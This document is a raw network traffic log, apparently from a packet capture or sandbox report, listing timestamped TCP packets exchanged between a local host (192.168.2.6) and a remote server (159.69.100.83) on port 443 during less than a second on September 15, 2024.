Sep 15, 2024 19:37:21.230510950 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.248775959 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.248821974 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.248888969 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.248903990 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.248950005 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.253740072 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.253782988 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.253829956 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.253839970 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.253859997 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.253878117 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.254125118 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.254163027 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.254189014 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.254195929 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.254225969 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.254242897 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.254364014 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.254404068 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.254426003 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.254431963 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.254453897 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.254473925 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.260576010 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.260597944 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.260691881 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.260699987 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.260742903 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.262521982 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.262538910 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.262608051 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.262618065 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.262655020 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.265084028 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.265142918 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.265202045 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.265232086 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.265252113 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.265259981 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.271236897 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.271254063 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.271315098 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.271332026 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.271373034 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.280591965 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.280610085 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.280695915 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.280708075 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.280740976 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.297166109 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.297189951 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.297298908 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.297313929 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.297354937 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.299994946 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.300012112 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.300100088 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.300112963 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.300152063 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.306320906 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.306339979 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.306436062 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.306451082 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.306490898 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.323096991 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.323116064 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.323179007 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.323194027 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.323230982 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.340557098 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.340574980 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.340660095 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.340667963 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.340707064 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.349498034 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.349515915 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.349582911 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.349596977 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.349632978 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.359946966 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.359967947 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.360034943 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.360044956 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.360088110 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.369450092 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.369467020 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.369525909 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.369537115 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.369573116 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.385864019 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.385879040 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.385951996 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.385989904 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.386034012 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.388632059 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.388648987 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.388727903 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.388748884 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.388782978 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.395073891 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.395090103 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.395159960 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.395184994 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.395196915 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.395220041 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.412695885 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.412713051 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.412895918 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.412908077 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.413037062 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.429307938 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.429323912 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.429434061 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.429459095 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.429508924 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.440469027 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.440485954 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.440596104 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.440609932 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.440663099 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.450784922 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.450803995 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.450920105 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.450939894 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.450989962 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.462749004 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.462764978 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.462857962 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.462888956 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.462934017 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.474807024 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.474823952 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.474889994 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.474922895 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.474967003 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.478692055 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.478708029 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.478920937 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.478952885 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.479043961 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.489411116 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.489425898 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.489499092 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.489531994 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.489579916 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.512067080 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.512085915 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.512177944 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.512211084 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.512260914 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.527681112 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.527698040 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.527766943 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.527777910 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.527817965 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.538985014 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.539007902 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.539098978 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.539127111 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.539165020 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.548974037 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.548989058 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.549072981 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.549099922 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.549141884 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.556396961 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.556413889 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.556539059 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.556552887 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.556607008 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.567608118 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.567627907 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.567749977 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.567776918 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.567787886 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.567816019 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.568636894 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.568651915 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.568728924 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.568737030 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.568779945 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.577899933 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.577918053 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.578007936 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.578018904 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.578052044 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.600867987 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.600889921 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.600970030 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.600997925 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.601043940 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.616508007 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.616523981 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.616612911 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.616641045 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.616682053 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.627784967 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.627801895 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.627860069 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.627883911 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.627916098 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.637598038 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.637613058 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.637670994 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.637686014 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.637722015 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.644908905 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.644926071 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.644995928 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.645004034 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.645040035 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.656274080 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.656291962 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.656373024 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.656383991 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.656424046 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.657322884 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.657340050 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.657397985 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.657404900 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.657438040 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.666399002 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.666415930 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.666472912 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.666500092 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.666532040 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.689651012 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.689666986 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.689752102 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.689768076 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.689816952 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.705221891 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.705243111 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.705328941 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.705352068 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.705388069 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.717884064 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.717906952 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.717964888 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.717991114 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.718009949 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.718031883 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.726407051 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.726423979 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.726485014 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.726511002 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.726547003 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.733686924 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.733705997 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.733788967 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.733812094 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.733855009 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.745026112 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.745042086 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.745098114 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.745114088 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.745151043 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.745939016 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.745954037 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.746049881 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.746066093 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.746160984 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.755175114 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.755192995 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.755251884 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.755276918 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.755312920 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.778477907 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.778495073 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.778601885 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.778626919 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.778666019 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.793939114 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.793956995 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.794006109 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.794022083 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.794035912 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.794061899 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.814388037 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.814404964 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.814482927 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.814491987 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.814524889 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.818247080 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.818264008 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.818336010 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.818344116 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.818382025 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.826055050 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.826071024 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.826128960 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.826138973 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.826181889 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.837567091 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.837596893 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.837655067 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.837661982 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.837687016 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.837693930 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.838255882 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.838272095 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.838411093 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.838419914 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.838469028 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.843945026 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.843961954 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.844022036 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.844029903 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.844073057 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.867285013 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.867311954 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.867353916 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.867363930 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.867435932 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.868083954 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.882668972 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.882688046 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.882735014 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.882750988 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.882764101 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.882812023 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.902867079 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.902887106 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.902985096 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.902997971 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.903063059 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.906939983 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.906960011 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.907006979 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.907020092 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.907040119 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.907062054 CEST	49738	443	192.168.2.6	159.69.100.83
